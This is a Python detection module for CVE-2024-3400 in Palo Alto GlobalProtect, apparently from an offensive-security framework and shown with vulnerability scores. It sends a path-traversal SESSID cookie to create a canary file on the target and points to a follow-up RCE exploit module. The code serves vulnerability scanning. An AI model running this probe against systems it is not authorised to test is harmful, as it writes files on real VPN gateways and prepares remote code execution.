Palo Alto GlobalProtect CVE-2024-3400 Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Palo Alto GlobalProtect CVE-2024-3400 (path traversal / RCE) detection."""
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Palo Alto GlobalProtect CVE-2024-3400 Detection',
'description': (
'Detects CVE-2024-3400 in Palo Alto Networks PAN-OS GlobalProtect by '
'confirming the SESSID path-traversal file-create canary (404 then 403).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2024', 'panos', 'globalprotect',
'paloaltonetworks', 'rce', 'kev', 'vkev', 'vuln', 'intrusive',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': False,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'admin_surface', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/paloalto_globalprotect_cve_2024_3400_rce',
],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2024-3400',
'https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/',
'https://security.paloaltonetworks.com/CVE-2024-3400',
],
'cve': 'CVE-2024-3400',
}
def run(self):
marker = f'ks-{secrets.token_hex(8)}.txt'
image_path = f'/global-protect/portal/images/{marker}'
sessid = (
f'/../../../var/appweb/sslvpndocs/global-protect/portal/images/{marker}'
)
before = self.http_request(method='GET', path=image_path, allow_redirects=False)
if not before or before.status_code != 404:
return False
post = self.http_request(
method='POST',
path='/ssl-vpn/hipreport.esp',
allow_redirects=False,
headers={
'Cookie': f'SESSID={sessid};',
'Content-Type': 'application/x-www-form-urlencoded',
},
data=(
'user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68'
'&domain=global&computer=global&client-ip=global&client-ipv6=global'
'&md5-sum=global&gwHipReportCheck=global'
),
)
if not post:
return False
body2 = post.text or ''
if 'invalid required input parameters' not in body2:
return False
after = self.http_request(method='GET', path=image_path, allow_redirects=False)
if not after or after.status_code != 403:
return False
self.set_info(
severity='critical',
reason='PAN-OS GlobalProtect CVE-2024-3400 path-traversal canary confirmed',
path=image_path,
evidence=f'pre={before.status_code} hipreport_ok post={after.status_code}',
)
return True
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05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.110
EPSS0.99999
SSVC